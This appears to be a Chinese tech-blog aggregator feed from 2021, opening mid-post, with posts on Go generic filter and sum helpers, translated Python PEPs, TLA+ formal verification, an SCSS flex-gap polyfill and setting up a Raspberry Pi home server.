  result := []T{}
  for _, elem := range arr {
    choose := f(elem)
    if (in && choose) || (!in && !choose) {
      result = append(result, elem)
    }
  }
  return result
}

func gFilterIn[T any] (arr []T, f func(T) bool) []T {
  return gFilter(arr, true, f)
}

func gFilterOut[T any] (arr []T, f func(T) bool) []T {
  return gFilter(arr, false, f)
}

其中,用户需要提从一个 bool 的函数,我们会把数据传给用户,然后用户只需要告诉我行还是不行,于是我们就会返回一个过滤好的数组给用户。

比如,我们想把数组中所有的奇数过滤出来

nums := []int {0,1,2,3,4,5,6,7,8,9}
odds := gFilterIn(nums, func (elem int) bool  {
    return elem % 2 == 1
})
print(odds)

业务示例

正如《Go编程模式:Map-Reduce》中的那个业务示例,我们在这里再做一遍。

首先,我们先声明一个员工对象和相关的数据

type Employee struct {
  Name     string
  Age      int
  Vacation int
  Salary   float32
}

var employees = []Employee{
  {"Hao", 44, 0, 8000.5},
  {"Bob", 34, 10, 5000.5},
  {"Alice", 23, 5, 9000.0},
  {"Jack", 26, 0, 4000.0},
  {"Tom", 48, 9, 7500.75},
  {"Marry", 29, 0, 6000.0},
  {"Mike", 32, 8, 4000.3},
}

然后,我们想统一下所有员工的薪水,我们就可以使用前面的reduce函数

total_pay := gReduce(employees, 0.0, func(result float32, e Employee) float32 {
  return result + e.Salary
})
fmt.Printf("Total Salary: %0.2f\n", total_pay) // Total Salary: 43502.05

我们函数这个 gReduce 函数有点啰嗦,还需要传一个初始值,在用户自己的函数中,还要关心 result 我们还是来定义一个更好的版本。

一般来说,我们用 reduce 函数大多时候基本上是统计求和或是数个数,所以,是不是我们可以定义的更为直接一些?比如下面的这个 CountIf(),就比上面的 Reduce 干净了很多。

func gCountIf[T any](arr []T, f func(T) bool) int {
  cnt := 0
  for _, elem := range arr {
    if f(elem) {
      cnt += 1
    }
  }
  return cnt;
}

我们做求和,我们也可以写一个Sum的泛型。

  • 处理 T 类型的数据,返回 U类型的结果
  • 然后,用户只需要给我一个需要统计的 TU 类型的数据就可以了。

代码如下所示:

type Sumable interface {
  type int, int8, int16, int32, int64,
        uint, uint8, uint16, uint32, uint64,
        float32, float64
}

func gSum[T any, U Sumable](arr []T, f func(T) U) U {
  var sum U
  for _, elem := range arr {
    sum += f(elem)
  }
  return sum
}

上面的代码我们动用了一个叫 Sumable 的接口,其限定了 U 类型,只能是 Sumable里的那些类型,也就是整型或浮点型,这个支持可以让我们的泛型代码更健壮一些。

于是,我们就可以完成下面的事了。

1)统计年龄大于40岁的员工数

old := gCountIf(employees, func (e Employee) bool  {
    return e.Age > 40
})
fmt.Printf("old people(>40): %d\n", old) 
// ld people(>40): 2

2)统计薪水超过 6000元的员工数

high_pay := gCountIf(employees, func(e Employee) bool {
  return e.Salary >= 6000
})
fmt.Printf("High Salary people(>6k): %d\n", high_pay) 
//High Salary people(>6k): 4

3)统计年龄小于30岁的员工的薪水

younger_pay := gSum(employees, func(e Employee) float32 {
  if e.Age < 30 {
      return e.Salary
  } 
  return 0
})
fmt.Printf("Total Salary of Young People: %0.2f\n", younger_pay)
//Total Salary of Young People: 19000.00

4)统计全员的休假天数

total_vacation := gSum(employees, func(e Employee) int {
  return e.Vacation
})
fmt.Printf("Total Vacation: %d day(s)\n", total_vacation)
//Total Vacation: 32 day(s)

5)把没有休假的员工过滤出来

no_vacation := gFilterIn(employees, func(e Employee) bool {
  return e.Vacation == 0
})
print(no_vacation)
//{Hao 44 0 8000.5} {Jack 26 0 4000} {Marry 29 0 6000}

怎么样,你大概了解了泛型编程的意义了吧。

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post Go编程模式 : 泛型编程 first appeared on 酷 壳 - CoolShell.

by 陈皓 at September 04, 2021 05:44 AM

August 22, 2021

pythoncat

联合迭代器与生成器,这个内置函数真香!

Python 中很多内置函数的作用都非常大,比如说 enumerate() 和 zip(),它们使得我们在作迭代操作时极为顺手。这是一篇很多年前的 PEP,提议在 Python 2.3 版本中引入 enumerate(),该文档整合了其它几篇 PEP 的想法(包括当时新引入的迭代器与生成器),提出了更好的实现方案以及函数名。经过这么多年的发展,enumerate() 不可避免地有了一些变化,但不变的是,它跟 19 年前一样,还是很有必要、很好用,用着真香!
PEP标题: The enumerate() built-in function
PEP作者: Raymond Hettinger
创建日期: 2002-06-30
合入版本: 2.3
译者:豌豆花下猫@Python猫

摘要

本 PEP 引进了一个新的内置函数 enumerate() 来简化常用的循环写法。它为所有的可迭代对象赋能,作用就像字典的 iteritems() 那样——一种紧凑、可读、可靠的索引表示法。

基本原理

Python 2.2 在 PEP 234[3] 中提出了可迭代对象接口的概念。iter() 工厂函数作为一种通用的调用约定而被提出,深入修改了迭代器的使用方式,作为整个 Python 的统一规范。这种统一的规范就是为映射类型、序列类型和文件对象建立一个通用的可迭代对象接口。
PEP 255[1] 中提出的生成器是作为一种更容易创建迭代器的方法引入的,特别是具有复杂的内部执行过程或变量状态的迭代器。有了生成器以后,PEP 212[2] 中关于循环的计数器的想法就有可能改进了。
那些想法是提供一种干净的迭代语法,带有索引和值,但不适用于所有的可迭代对象。而且,那种方法没有生成器提供的内存友好的优点(生成器不会一次性计算整个序列)。
(Python猫注:关于生成器的 PEP 也有翻译,请查看 PEP-255PEP-342PEP-380
新的提议是添加一个内置函数 enumerate(),在有了迭代器和生成器以后,它就可以实现。它为所有的可迭代对象赋能,作用就像字典的 iteritems() 那样——一种紧凑、可读、可靠的索引表示法。像 zip() 一样,它有望成为一种常用的循环习语(idiom)。
(Python猫注:zip() 函数非常强,推荐阅读《一篇文章掌握 Python 内置 zip() 的全部内容》)
这一提议的目的是利用现有的实现,再加一点点的努力来整合。它是向后兼容的,不需要新的关键字。本提案将合入 Python 2.3,不需要从 __future__ 中导入。

新内置函数的规范

def enumerate(collection):
   'Generates an indexed series:  (0,coll[0]), (1,coll[1]) ...'
   i = 0
   it = iter(collection)
   while 1:
      yield (i, it.next())
      i += 1
注A :PEP 212 循环计数器迭代[2]讨论了几个实现索引的提议。有些提议只适用于列表,不像上面的函数适用于任意生成器、xrange、序列或可迭代对象。
另外,那些提议是在 Python 2.2 之前提出并评估的,但是 Python 2.2 没有包含生成器。因此,PEP 212 中的非生成器版本有一个缺点,即会用一个巨大的元组列表,导致消耗太多内存。
这里提供的生成器版本快速且轻便,适用于所有可迭代对象,并允许用户在不浪费计算量的情况下中途放弃。
还有一些涉及相关问题的 PEP:整型迭代器、整型 for 循环,以及一个修改 range 和 xrange 的参数的 PEP。enumerate() 提案并不排斥其它提案,即使那些提案被采纳,它仍然满足一个重要的需求——对任意可迭代对象中的元素进行计数的需求。
其它的提案给出了一种产生索引的方法,但没有相应的值。如果给定的序列不支持随机访问,比如文件对象、生成器或用__getitem__定义的序列,这就特别成问题。
注B :几乎所有的 PEP 审阅人都欢迎这个函数,但对于“是否应该把它作为内置函数”
存在分歧。一方提议使用独立的模块,主要理由是减缓语言膨胀的速度。
另一方提议使用内置函数,主要理由是该函数符合 Python 核心编程风格,适用于任何具有可迭代接口的对象。正如 zip() 解决了在多个序列上循环的问题,enumerate() 函数解决了循环计数器的问题。
如果只允许加一个内置函数,那么 enumerate() 就是最重要的通用工具,可以解决最广泛的问题,同时提高程序的简洁性、清晰度和可靠性。
注C :讨论了多种备选名称:
函数名分析
iterindexed()五个音节太拗口了
index()很好的动词,但是可能会跟 .index () 方法混淆
indexed()很受欢迎,但是应该避免形容词
indexer()在 for 循环中,名词读起来不太好
count()直接而明确,但常用于其它语境
itercount()直接、明确,但被不止一个人讨厌
iteritems()与字典的 key:value 概念冲突
itemize()让人困惑,因为 amap.items() != list(itemize(amap))
enum()简练;不及enumerate 清楚;与其它语言中的枚举太相似,但有着不同的含义
所有涉及“count”的名称还有一个缺点,即隐含着计数是从 1 开始而不是从 0 开始的意思。
所有涉及“index”的名称与数据库语言的用法冲突,数据库的索引表示一种排序操作,但不是线性排序。
注D: 在最初的提案中,这个函数带有可选的 start 和 stop 参数。GvR 指出,函数enumerate(seqn,4,6) 还有一种看似合理的解释,即返回序列的第 4 和第 5 个元素的切片。为了避免歧义,这两个可选参数被摘掉了,尽管这意味着循环计数器失去了部分的灵活性。
在从 1 开始计数的常见用例中,这种可选参数的写法很有用,比如:
for linenum, line in enumerate(source,1):
    print linenum, line
(Python猫注:这篇文档说 enumerate 没有起止参数,然而,在后续版本中(例如我用的 3.9),它支持使用一个可选的 start 参数!我暂未查到这个变更是在何时加入的,如有知情者,烦请告知我,以便修正!)
GvR 评论道:

filter 和 map 应该 die,被纳入列表推导式,不增加更多的变体。我宁可引进做迭代器运算的内置函数(例如 iterzip,我经常举的例子)。 我认可用某种方法并行地遍历序列及其索引的想法。把它作为一个内置函数,没有问题。 我不喜欢“indexed”这个名字;形容词不是好的函数名。可以用 iterindexed() ?

Ka-Ping Yee 评论道:

我对你的提议也很满意……新增的内置函数(倾向于用“indexed”)是我期盼了很久的东西。

Neil Schemenauer 评论道:

新的内置函数听起来不错。Guido 可能会担心增加太多内置对象。你最好把它们作为某个模块的一部分。如果你用模块的话,那么你可以添加很多有用的函数(Haskell 有很多,我们可以去“偷”)。

Magnus Lie Hetland 评论道:

我认为 indexed 会是一个有用和自然的内置函数。我肯定会经常使用它。 我非常喜欢 indexed();+1。 很高兴它淘汰了 PEP-281。为迭代器添加一个单独的模块似乎是个好主意。

来自社区的反馈:

对于 enumerate() 提案,几乎 100% 赞成。几乎所有人都喜欢这个想法。

作者的注释:

在这些评论之前,共有四种内置函数被提出来。经过评论之后,xmap、xfilter 和 xzip 被撤销了。剩下的一个对 Python 来说是至关重要的。Indexed() 非常容易实现,并且立马就可以写进文档。更重要的是,它在日常编程中很有用,如果不用它,就需要显式地使用生成器。 这个提案最初包含了另一个函数 iterzip()。但之后在 itertools 模块中实现成了一个 izip() 函数。

参考材料

1、PEP 255 Simple Generators http://www.python.org/dev/peps/pep-0255
2、(1, 2) PEP 212 Loop Counter Iteration http://www.python.org/dev/peps/pep-0212

版权

本文档已经进入公共领域。源文档:

August 22, 2021 12:00 AM

August 11, 2021

pythoncat

Python 列表解析式竟然支持异步?

PEP标题:PEP 530 — Asynchronous Comprehensions
PEP作者:Yury Selivanov
创建日期:2016-09-03
合入版本:3.6
译者:豌豆花下猫@Python猫

摘要

PEP-492 和 PEP-525 通过 async/await 语法,引入了对原生协程和异步生成器的支持。本 pep 提议给列表、集合、字典解析式和生成器表达式添加异步的版本。

基本原理和目标

Python 广泛地支持同步的推导式,允许使用简单而简洁的语法生成列表、字典和集合。我们提议为异步代码实现类似的语法结构。
为了说明可读性的改善,请考虑下面的例子:
result = []
async for i in aiter():
    if i % 2:
        result.append(i)
有了提议的异步解析式语法,上面的代码会变得非常简短:
result = [i async for i in aiter() if i % 2]
本 PEP 也使得在各种解析式中使用 await 表达式成为可能:
result = [await fun() for fun in funcs]

规范

异步的解析式

我们提议允许在列表、集合与字典解析式中使用 async。待 PEP-525 被批准之后,我们还可以创建异步的生成器表达式。
例子:
  • 集合解析式:{i async for i in agen()}
  • 列表解析式:[i async for i in agen()]
  • 字典解析式:{i: i ** 2 async for i in agen()}
  • 生成器表达式:(i ** 2 async for i in agen())
允许在异步解析式和生成器表达式中使用 async for 与 if 以及 for 子句:
dataset = {data for line in aiter()
                async for data in line
                if check(data)}
data = {data for line in aiter() async for data in line if check(data)}
异步解析式只允许在“async def”函数中使用。
原则上,异步生成器表达式允许用在任何上下文中。然而,在 Python 3.6 中,由于 async 和 await 只是“软关键字”(soft-keyword),异步生成器表达式只允许在 async def 函数中使用。一旦 async 和 await 在 Python 3.7 中成为保留关键字,这个限制将被移除。

解析式中的 await

我们提议允许在异步和同步解析式中使用 await 表达式:
result = [await fun() for fun in funcs]
result = {await fun() for fun in funcs}
result = {fun: await fun() for fun in funcs}

result = [await fun() for fun in funcs if await smth]
result = {await fun() for fun in funcs if await smth}
result = {fun: await fun() for fun in funcs if await smth}

result = [await fun() async for fun in funcs]
result = {await fun() async for fun in funcs}
result = {fun: await fun() async for fun in funcs}

result = [await fun() async for fun in funcs if await smth]
result = {await fun() async for fun in funcs if await smth}
result = {fun: await fun() async for fun in funcs if await smth}
这只在 async def 函数体中有效。

语法的更新

本提议需要在语法层面做一个修改:在 comp_for 中添加可选的“async”关键字:
comp_for: [ASYNC] 'for' exprlist 'in' or_test [comp_iter]
解析式的 AST 节点将有一个新的 is_async 参数。

向后兼容性

本提案是完全向后兼容的。

接受

在 2016 年 9 月 6 日[1],PEP-530 被 Guido 接受。

参考材料

致谢

感谢 Guido van Rossum、Victor Stinner 和 Elvis pranskevichuss 对于这个 pep 的反馈、代码检视和讨论。

版权

本文档已进入公共领域。

August 11, 2021 12:00 AM

August 01, 2021

gaomf

TLA+ 形式化验证入门指南

形式化验证(Formal Verification)指一类使用数理逻辑方法来证明软件设计是正确的技术,据称是由 Edsger Dijkstra 于 1972 年最早提出,此方法一直是一种比较小众冷门的技术。形式化验证技术想要解决的核心问题是:软件总是可能存在 Bug 的,而测试始终无法涵盖所有可能性,特别是对于并发系统及分布式系统来说,就算单元测试达到了 100% 分支覆盖率,也不能肯定的说这个系统在线程安全,一致性等方面不会出问题。那如何更好的来验证我们的程序是否符合预期呢?形式化验证就旨在使用严谨的数学证明方法来证明某一算法是正确的。这样我们就可以拍着胸脯说,我的算法肯定是正确的,都证明过了:)

听上去是不是很牛逼啊,感觉我们马上就要能写出 bug free 的程序来了呢~然而理想很丰满,现实很骨感,实际问题远远不会是这么简单的,要是形式化验证真这么好用那它就不至于至今还这么小众了,事实上形式化验证存在着很多局限性与不 work 的时候的,这个后面再来细说。

关于形式化方法的实际应用及其强大之处可以进一步读读下面这篇布道文:

Don’t Test, Verify —— 哪个故事真正符合你对形式化验证的想象?

当初也是因为偶然看了此文章知道了形式化验证这个东西,后面也陆续去深入了解学习了下,最近也用它解决了一些实际工作中的问题。本文就打算分享下入门学习的一些心得体会。

TLA+ & PlusCal 简介及一些基本概念

进行形式化验证的具体工具有很多,目前实际软件开发中最为常用的是由 Leslie Lamport 开发的 TLA+,这是一种用于形式化验证的语言,主要用于验证并行及分布式系统的正确性。

由于 TLA+ 写的代码并不是用来实际运行的,故一般将其代码称为模型(Model)而非程序(Program)。

TLA+ 是基于数理逻辑而非经典的软件开发思想设计出来的,故其代码与其他编程语言有着显著区别,其中的基本元素是集合,逻辑运算,映射等东西,来个例子感受下:

1
2
Next == \/ \E b \in Ballots : Phase1a(b) \/ Phase2a(b)
\/ \E a \in Acceptors : Phase1b(a) \/ Phase2b(a)

这段代码看上去完全不像在编程,实际上写 TLA+ 代码的确也不是在编程而是在用数理逻辑定义一些东西。

这学习曲线对于大部分码农来说实在是太过于陡峭了,Programer 并不是数学家,Lamport 大神也知道这一点,于是他又搞了个叫 PlusCal 的东西出来。PlusCal 是一种类似 C/Pascal 的高级语言,其目的同样不是为了生成机器代码来运行,而是依靠 TLA+ 解释器来生成对应的 TLA+ 模型代码。

来一段实际的 PlusCal 代码感受下:

1
2
3
4
5
6
7
(* --algorithm EuclidAlg {
variables alice_account = 10, bob_account = 10, money = 5;

A: alice_account := alice_account - money;
B: bob_account := bob_account + money;

} *)

这看上去就很像经典编程语言了,因此对于程序员来说,可以使用 PlusCal 来快速进行形式化验证。不过 PlusCal 毕竟是 TLA+ 的上层高级语言,其能实现的功能只是 TLA+ 的一个子集,不过一般来说此问题不大,这个子集对于简单应用来说足够用了。

有了代码后如何运行 TLA+ 或 PlusCal 模型呢,Lamport 为此开发了一个 IDE,即 TLA Toolbox. 然而此 IDE UI 界面并不是很好用,更建议使用 VSCode 中的 TLA 插件 来进行开发。

入门学习路径及资料

入门学习建议从下面这个教程开始:

Learn TLA+

此教程完全从实用角度出发,立足点是如何用 PlusCal 来解决日常编程中需要关注的并发,一致性等问题,因此十分简单易学,也比较短,看完后基本就能实际上手做些事情了。

在实际写 PlusCal 代码的时候需要参考下其语法手册,PlusCal 有两种语法风格,类似 Pascal 的 P-Syntax 及类似 C 语言的 C-Syntax,语法手册分别如下:

A PlusCal User’s Manual C-Syntax Version 1.8
A PlusCal User’s Manual P-Syntax Version 1.8

网上的例子中使用 P-Syntax 的居多,不过我个人更喜欢 C-Syntax 一些。

如果看完上述简单教程后还想进一步系统的学习一下,那建议从 Lamport 的 TLA+ 项目主页开始:

The TLA+ Home Page

此外 Lamport 还有一本系统的讲形式化验证的书:

Specifying Systems

观千剑而后识器,看看其他人是如何写代码的对于入门来说也是很有用的,下面这两个 Github 项目中收集整理了很多 TLA+ 模型,如果想要提高水平可以仔细学习揣摩下:

TLA+ Examples
Dr. TLA+ Series

一些关键点及 TLA+ 的局限性

定义什么是正确

形式化验证是用来验证算法是正确的,那什么叫“正确”呢?如何定义“正确”是形式化验证中最重要的问题之一。比较符合程序员习惯的方法是在 PlusCal 中加入 assert 来检查是否满足某些条件。不过更好的方法是使用不变量(Invariants)检查,如何正确的定义算法中需要检查的 Invariant 是十分重要的,如果检查条件的定义本身就是不完备的,那形式化验证的结果自然也是不完备的。

合理定义原子操作

PlusCal 中使用 Label 来定义原子操作,一个 Label 下若干条语句会被视为是一个原子操作,如果把本来不是原子操作的行为错误的定义为了原子操作,那最终得到的结果显然就会是不完备的。

如果把本来可以视为一个原子操作的行为定义为若干条原子操作,则会让验证的计算量大幅增加,导致验证所需时间变长。PlusCal 翻译成 TLA+ 后验证原理是穷举不同进程间执行时序的所有可能性,若原子操作或分支过多,会造成解空间的急剧膨胀。

局限性

  1. TLA+ 并不是直接去验证算法的实现,而是验证算法实现抽象出来的 PlusCal 或 TLA+ 模型,这一步抽象的正确性只能由人工自行保证,没有任何方法可以证明二者是等价的。事实上二者绝大多数时候也是不等价的,比如程序中的数字都是会溢出的,而数学模型中的数字则不会。妄图对程序所有实现细节都去建模验证的尝试也是不可行的,因为这会导致验证的解空间变得极为巨大,基本上都是没有实际意义的。估计这也就是 Lamport 为什么不设计一个 C / Java 等语言直接翻译为 PlusCal 模型解释器的原因。
  2. 如前文所述,算法正确性的定义也是需要人工完成的,这一步某些时候也是比较困难的,精确的定义什么是正确的本身就很有挑战性。
  3. 需要人工建模也带来了软件开发过程中成倍的工作量增加,特别是在软件需要快速迭代开发时形式化验证方法基本是不可用的,因此实际上形式化验证手段一般也只用于一些变化很小,且开发周期很长的项目中。

August 01, 2021 04:04 AM

pythoncat

Python 数值中的下划线是怎么回事?

PEP作者:Guido van Rossum, Nick Coghlan
创建日期:Georg Brandl, Serhiy Storchaka
合入版本:3.6
译者:豌豆花下猫@Python猫

概要和原理

本 PEP 提议扩展 Python 的语法,使得在“字符串变成数”(number-from-string)构造器中,下划线可以作为视觉分隔符,对整数、浮点和复数字面量的数字进行分组。
(Python猫注:关于 Python 的数值类型,可以查看 PEP-314
这是其它现代语言的一个常见特性,有助于理解长的或者值应该被直观地分成几部分的字面量,如十六进制表示法中的字节或单词。
例子:
# grouping decimal numbers by thousands
amount = 10_000_000.0

# grouping hexadecimal addresses by words
addr = 0xCAFE_F00D

# grouping bits into nibbles in a binary literal
flags = 0b_0011_1111_0100_1110

# same, for string conversions
flags = int('0b_1111_0000', 2)

规范

目前的提议是在数字之间和在数字字面量的基本标识符之后,允许有一个下划线。下划线没有语义上的意义,数字字面量会被解析得就像没有下划线一样。

字面量语法

因此,整型字面量的表示法看起来像这样:
integer: decinteger | bininteger | octinteger | hexinteger
decinteger: nonzerodigit (["_"] digit)* | "0" (["_"] "0")*
bininteger: "0" ("b" | "B") (["_"] bindigit)+
octinteger: "0" ("o" | "O") (["_"] octdigit)+
hexinteger: "0" ("x" | "X") (["_"] hexdigit)+
nonzerodigit: "1"..."9"
digit: "0"..."9"
bindigit: "0" | "1"
octdigit: "0"..."7"
hexdigit: digit | "a"..."f" | "A"..."F"
浮点数和复数的字面量:
floatnumber: pointfloat | exponentfloat
pointfloat: [digitpart] fraction | digitpart "."
exponentfloat: (digitpart | pointfloat) exponent
digitpart: digit (["_"] digit)*
fraction: "." digitpart
exponent: ("e" | "E") ["+" | "-"] digitpart
imagnumber: (floatnumber | digitpart) ("j" | "J")

构造函数

遵循相同的放置规则,下划线可以在以下构造函数中使用:
  • int()(任意进制)
  • float()
  • complex()
  • Decimal()

进一步的变更

新式的数字转字符串(number-to-string)格式化语法将被扩展,允许 _ 作为千位分隔符。这可以用更具可读性的字面量来轻松地生成代码。[11]
The syntax would be the same as for the comma, e.g. {:10_} for a width of 10 with _ separator.(这句没看懂…不译)
对于 b、x 和 o 格式符,_ 也将支持,并按 4 位数分组。

现有的技术

那些允许下划线分组的语言,实现了大量放置下划线的规则。在语言规范与实际行为相矛盾的情况下,以下会列出实际的行为。(“单个”或“多个”指的是允许多少连续的下划线。)
  • Ada:单个,仅在数字间 [8]
  • C# (7.0 版本的提案):多个,仅在数字间 [6]
  • C++14:单个,在数字之间(选了其它分隔符) [1]
  • D:多个,任意位置,包括末尾 [2]
  • Java:多个,仅在数字间 [7]
  • Julia:单个,仅在数字间(但不含浮点指数部分) [9]
  • Perl 5:多个,基本是任意位置,尽管文档说数字间限制 1 个下划线 [3]
  • Ruby:单个,仅在数字间(尽管文档说“任意位置”)[10]
  • Rust:多个,任意位置,除了指数“e”与数字间 [4]
  • Swift:多个,数字之间和末尾(尽管文档说仅在“数字之间”) [5]

被否决的语法

(Python猫注:每个 PEP 在初提出阶段,都可能引起很多关于语法设计的讨论,在正式采纳的 PEP 中,一般会保留一些有代表性的被否决的方案,例如下面的两项)

1、下划线的放置规则

减少下划线的使用限制,而不是上面声明的相对严格的规则。在其它语言中,常见的规则包括:
  • 只允许一个连续的下划线,并且只能在数字之间。
  • 允许多个连续的下划线,但只能在数字之间。
  • 允许多个连续的下划线,在大多数位置,除了字面量的开头,或特殊的位置(例如小数点后)。
本 PEP 中的语法最终被选中,因为它涵盖了常见的用例,并且不会出现被 Python 风格指南所不鼓励使用的语法。
一个不太常见的规则是只允许每 N 位数字有下划线(其中 N 可能是 3 个十进制字面量,或 4 个十六进制字面量)。这是不必要的限制,特别是考虑到这些分隔符位置在不同的文化中是不同的。(Python猫注:例如,我们国家习惯将 4 个数字分为一组,即 10000 是 1 万,而不是英语文化中的 10 thousand)

2、其它的分隔符

还有一种建议是使用空格进行分组。虽然字符串是一种结合相邻字面量的先例,但这种行为可能会导致意外的效果,而下划线则不会。而且,除了那些基本会忽略任何空格的语言外,没有其它语言使用此规则。
c++ 14 引入了单引号来进行分组(因为下划线会与用户定义的字面量产生歧义),由于单引号已经被 Python 的字符串字面量使用了,所以没有考虑它。[1]

实现

实现上述规范的初步补丁已经发布到问题跟踪器。[12]

参考内容

版权

该文档已放入公共领域。

August 01, 2021 12:00 AM

July 29, 2021

2heng

基于 SCSS mixin 的 flex gap polyfill

一直以来,习惯在 flex 布局中使用 gap 这个属性设置间距,一直以来也都是在最新的 Chrome 上调试,所以从来没有想在 flex gap 在其他浏览器上存在兼容性问题。最近看了一下文档才反应过来,gap 原来只是 grid 布局的属性,虽然近些年来主流浏览器都已经支持了,但是一些使用人数不少的浏览器其实仍然没有支持,包括 UC、QQ,以及运行在 Android 11 上的最新版 MS Edge。

这么方便的属性怎么可能放着它不用呢,于是有人做了 PostCSS 的插件(flex-gap-polyfill),自动对 CSS 里面的 flex box 进行处理,尝试过一下,基本上能用,但是要命的是里面用了很多 css 变量,在 css 代码压缩的时候很容易出问题(有些变量会被 esbuild 判定为无效,直接丢掉了),另外这个插件对处理过 flex box 后,会对 box 里面使用 absolute 定位的元素产生不可预见的影响,总之我并不推荐使用这个插件。

事实上 gap 可以用 margin 很轻易地实现,原理可以看这里,我给它封装了一套 SCSS 的 mixin。

// _polyfills.scss
@use 'sass:math';
@mixin _flex-gap($gap, $row: true) {
  $margin: math.div($gap, 2);
  $transform: -$margin;
  @if $row {
    margin-left: $transform;
    margin-right: $transform;
  } @else {
    margin-top: $transform;
    margin-bottom: $transform;
  }
  > * {
    @if $row {
      margin-left: $margin;
      margin-right: $margin;
    } @else {
      margin-top: $margin;
      margin-bottom: $margin;
    }
  }
}

@mixin flex-gap($gap, $flex-flow: 'row nowrap') {
  @if $flex-flow== 'row nowrap' or $flex-flow== 'row-reverse nowrap' {
    @include _flex-gap($gap, true);
  } @else if $flex-flow== 'column nowrap' or $flex-flow== 'column-reverse nowrap' {
    @include _flex-gap($gap, false);
  } @else if $flex-flow== 'row wrap' or $flex-flow== 'row-reverse wrap' {
    @include _flex-gap($gap, true);
    @include _flex-gap($gap, false);
  } @else if $flex-flow== 'column wrap' or $flex-flow== 'column-reverse wrap' {
    @include _flex-gap($gap, true);
    @include _flex-gap($gap, false);
  } @else {
    @error "The second paramater $flex-flow is set to be '#{$flex-flow}', which is illegal.";
  }
}

调用方法:

@use 'polyfills';
.pagination__container {
  width: 100%;
  display: flex;
  flex-flow: row wrap;
  justify-content: center;
  align-items: center;
  // gap: 6px;
  @include polyfills.flex-gap(6px, 'row wrap');
  .item__wrapper {
    flex: 1 1 auto;
    width: 100%;
    font-size: 24px;
  }
}

注意这套 mixin 借助 margin 来实现,所以建议不用在 flex box 和 flex item 上设置任何 margin,如果需要,在里面或者外面再用一层 wrapper 套起来,在 wrapper 上设置 margin。

另外还有做自适应的需求,在不同屏幕宽度下可能需要设置不同的 flex-flow,可以用下面的 mixin 清除前面的 flex gap:

// _polyfills.scss
@mixin _flex-gap-unset($row: true) {
  $margin: 0;
  $transform: 0;
  @if $row {
    margin-left: $transform;
    margin-right: $transform;
  } @else {
    margin-top: $transform;
    margin-bottom: $transform;
  }
  > * {
    @if $row {
      margin-left: $margin;
      margin-right: $margin;
    } @else {
      margin-top: $margin;
      margin-bottom: $margin;
    }
  }
}

// unset flex-gap, used in @media screen width rules
@mixin flex-gap-unset($flex-flow: 'row nowrap') {
  @if $flex-flow== 'row nowrap' or $flex-flow== 'row-reverse nowrap' {
    @include _flex-gap-unset(true);
  } @else if $flex-flow== 'column nowrap' or $flex-flow== 'column-reverse nowrap' {
    @include _flex-gap-unset(false);
  } @else if $flex-flow== 'row wrap' or $flex-flow== 'row-reverse wrap' {
    @include _flex-gap-unset(true);
    @include _flex-gap-unset(false);
  } @else if $flex-flow== 'column wrap' or $flex-flow== 'column-reverse wrap' {
    @include _flex-gap-unset(true);
    @include _flex-gap-unset(false);
  } @else {
    @error "The second paramater $flex-flow is set to be '#{$flex-flow}', which is illegal.";
  }
}

使用:

.flex-box {
        position: relative;
        display: flex;
        flex-flow: row nowrap;
        justify-content: space-between;
        align-items: center;
        @include polyfills.flex-gap(12px, 'row nowrap');
        @media screen and (max-width: 800px) {
          flex-flow: column nowrap;
          @include polyfills.flex-gap-unset('row nowrap');
          @include polyfills.flex-gap(12px, 'column nowrap');
        }
}

The post 基于 SCSS mixin 的 flex gap polyfill appeared first on 樱花庄的白猫.

by Mashiro at July 29, 2021 04:19 PM

July 25, 2021

anji66

树莓派刷64位系统放内网做服务器使用

闲置了好久的树莓派捡起来,装上官方的64位系统,连上家里的宽带做个内网穿透,当调试服务器用也是再好不过了。之前刷过一遍64位系统,不常用时间久了也就忘了密码了。正好因搬家宽带也从电信换成联通的了,干脆把网络一起重整一下。整个过程出了点小岔子,第一天晚上没完成,第二天搞定外部因素后才成功。


烧树莓派64位系统

树莓派官网明面上提供的系统都是32位的,还有很多第三方的包也都是32位的。其实官网在去年已经发布了64位的beta版,点击这里可以去下载树莓派64位系统桌面版。烧系统就比较简单了,拔下存储卡,使用USB image tool这个工具直接烧就行了,工具简单明了就不说了,文末有下载。因为64位的系统是桌面版,配置啥的就自己点吧,没难度。


安装宝塔面板

当服务器用,还是来个管理面板比较合适,毕竟敲Linux命令还得面向百度搜索。宝塔官网直接复制安装命令,看下树莓派的系统,显示是基于Debian来的,所以安装命令复制Debian的即可。输入安装命令之前,先切换一下超级用户下面,使用sudo -s命令。然后就能顺利安装宝塔了,树莓派的系统是被处理过的,装宝塔的时候安装依耐会比较多,比云服务器装起来要慢很多,耐心等待即可。

1.jpg


设置动态域名DDNS

我的路由器是企业级路由器,它自带了三个外部动态域名管理服务,分别是花生壳、科迈、3322。三个我也都有账号,科迈和3322顺利登录连接。花生壳出了点小状况,因为我是很早之前系统送的gicp.net后缀的免费域名,有段时间没用了,死活连不上,就登录花生壳官网去查看发现因为实名认证没有,发现被暂停服务了,根据官方提示下载APP,在线实名认证即可。10分钟重新连接,这样我的三个动态域名就全部在线了,这样可以互为备份。


设置虚拟服务器

根据常用端口,把对应的端口映射到内网,但是因为被内网搭建网站管控严格,所以宽带方面80,443端口都是被禁的。所以正常情况下这两个端口要换端口映射的,这也是常规操作了,基本就是按照80端口用8880映射,443没法签发证书就没做,22端口用8022映射,其它还有mysql、redis等我基本就同等映射的,再加上FTP的21和39000-40000的同等映射,基本就齐活了。

2.jpg


设置远程管理路由器

在路由器的系统管理上面新增远程管理规则,远程管理地址范围也就不设置限制了0.0.0.0/0结束。系统管理端口,因80端口肯定不能用,所以直接把远程管理端口改为8080和4343了,原用于认证的8080端口改为8081了。


内网穿透失败

做好上述操作以后,就去试了动态域名访问,结果失败了,直接用内网IP操作,一切正常,百思不得其解。然后就去折腾下花生壳,花生壳可以直接在树莓派上装花生壳客户端,用客户端去穿透,具体地址点击这里查看。装好以后,在花生壳控制台配置应用。我就去试了一下SSH链接,发现配置好以后可以外网SSH连接了。因为之前去查了下本地的IP,有点印象本地是一个221开头的IP,但是花生壳的解析咋是一个139开头的IP,再次百思不得其小姐姐。然后又去挨个检查了一遍设置,在查到我的多口WAN时,发现路由器拿到的IP竟然是个10打头的内网IP,心里一万头草泥马狂奔。这该死的联通什么时候也玩移动的这一套给内网IP了。折腾到半夜卡在这里,半夜也没有联通客服,所以这事就搁置到第二天白天了。


打联通客服热线申请公网IP

